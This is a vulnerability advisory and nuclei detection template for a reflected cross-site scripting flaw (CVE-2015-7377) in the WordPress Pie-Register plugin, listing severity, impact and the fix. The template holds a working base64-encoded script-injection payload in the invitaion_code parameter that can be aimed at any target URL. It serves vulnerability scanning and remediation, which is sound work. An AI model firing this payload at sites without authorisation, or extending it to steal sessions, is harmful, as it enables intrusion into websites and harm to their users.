WordPress Pie-Register <2.0.19 - Cross-Site Scripting

mediumseverity

4.3CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress Pie Register before 2.0.19 contains a reflected cross-site scripting vulnerability in pie-register/pie-register.php which allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URL.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Update to the latest version of the WordPress Pie-Register plugin (2.0.19 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2015-7377 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-7377

info:
  name: WordPress Pie-Register <2.0.19 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Pie Register before 2.0.19 contains a reflected cross-site scripting vulnerability in pie-register/pie-register.php which allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URL.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Pie-Register plugin (2.0.19 or higher) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html
    - https://github.com/GTSolutions/Pie-Register/blob/2.0.19/readme.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7377
    - http://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8212
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-7377
    cwe-id: CWE-79
    epss-score: 0.04405
    epss-percentile: 0.91407
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2015,wordpress,wp-plugin,xss,packetstorm,genetechsolutions,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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